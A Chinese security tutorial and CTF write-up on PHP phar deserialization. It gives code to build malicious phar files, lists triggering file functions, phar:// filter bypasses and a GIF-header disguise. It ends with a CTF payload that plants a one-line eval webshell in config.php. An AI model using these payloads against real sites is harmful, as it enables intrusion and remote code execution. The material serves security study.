PHP phar反序列化原理详解

admin 2024年2月21日23:23:55评论14 views字数 3053阅读10分10秒阅读模式
phar的本质是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。

Phar文件结构

  • stub:phar文件标识,以 __HALT_COMPILER();?>结尾

  • manifest:压缩文件的属性等信息,以序列化的形式存储自定义的meta-data

  • contents:压缩文件的内容

  • signature:签名,在文件末尾

测试

首先将php.ini中的phar.readonly置为Off,否则无法生成phar文件,而且这个参数是无法通过ini_set()进行修改的。

生成phar文件

<?php
   class TestObject {
  }

   @unlink("phar.phar");
   $phar = new Phar("phar.phar"); //后缀名必须为phar
   $phar->startBuffering();
   $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
   $o = new TestObject();
   $o ->data = 'th1e';
   $phar->setMetadata($o); //将自定义的meta-data存入manifest
   $phar->addFromString("test.txt", "test"); //添加要压缩的文件
   //签名自动计算
   $phar->stopBuffering();
?>

打开文件可以看到,以序列化储存的文件

PHP phar反序列化原理详解

构造利用代码

<?php
class TestObject{
   function __destruct(){
       echo $this->data;
  }
}
$filename = $_GET['filename'];
file_exists($filename);
?>

?filename=phar://phar.phar/test.txt

PHP phar反序列化原理详解

成功打印结果。

php的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇总结了以下函数:

PHP phar反序列化原理详解

其实不止如此,只要调用了php_stream_open_wrapper的函数,都存在这样的问题,经测试,网上提供的如下函数也都可以:

exif

  • exif_thumbnail

  • exif_imagetype

gd

  • imageloadfont

  • imagecreatefrom

hash

  • hash_hmac_file

  • hash_file

  • hash_update_file

  • md5_file

  • sha1_file

file / url

  • get_meta_tags

  • get_headers

  • mime_content_type

standard

  • getimagesize

  • getimagesizefromstring

finfo

  • finfo_file

  • finfo_buffer

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Postgres

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

MySQL

LOAD DATA LOCAL INFILE`也会触发这个`php_stream_open_wrapper
<?php
class A {
  public $s = '';
  public function __wakeup () {
       system($this->s);
  }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE 'phar://test.phar/test' INTO TABLE a LINES TERMINATED BY 'rn' IGNORE 1 LINES;');

再配置一下mysqld。(非默认配置)

[mysqld]
local-infile=1
secure_file_priv=""

Trick

过滤phar://协议的绕过方式

  • compress.bzip2://phar://

  • compress.zlib://phar:///

  • php://filter/resource=phar://

文件格式绕过

<?php
   class TestObject {
  }

   @unlink("phar.phar");
   $phar = new Phar("phar.phar");
   $phar->startBuffering();
   $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
   $o = new TestObject();
   $phar->setMetadata($o); //将自定义meta-data存入manifest
   $phar->addFromString("test.txt", "test"); //添加要压缩的文件
   //签名自动计算
   $phar->stopBuffering();
?>

增加了GIF89a文件头,从而使其伪装成gif文件

PHP phar反序列化原理详解

例子

2020纵横杯hello_php

文件泄漏下载

config.php

PHP phar反序列化原理详解

发现后台用户名密码登陆后台

登陆后发现上传接口

PHP phar反序列化原理详解

class.php

存在phar://反序列化漏洞

PHP phar反序列化原理详解

Payload
<?php

class Config{
   public $title;
   public $comment;
   public $logo_url;
   public function __construct(){
       $this->title= 'th1e';echo success;@eval($_POST['th1e']);?>';
  }

}
$phar = new Phar("aaa.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new Config;
$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a.txt", "a"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

上传记录时间戳得到文件名

Index.php

发现函数file_exists

PHP phar反序列化原理详解

此时在看config文件已经写入一句话

PHP phar反序列化原理详解

蚁剑连接

PHP phar反序列化原理详解

总结

框架中文件操作函数使用频繁,Phar反序列的点很多,但随着PHP8的诞生,phar不再进行反序列化,以后phar反序列化也将逐渐淡出人们的视野。

Reference

https://blog.csdn.net/qq_42181428/article/details/100995404

原文始发于微信公众号(SAINTSEC):PHP phar反序列化原理详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月21日23:23:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP phar反序列化原理详解https://cn-sec.com/archives/2508323.html

发表评论

匿名网友 填写信息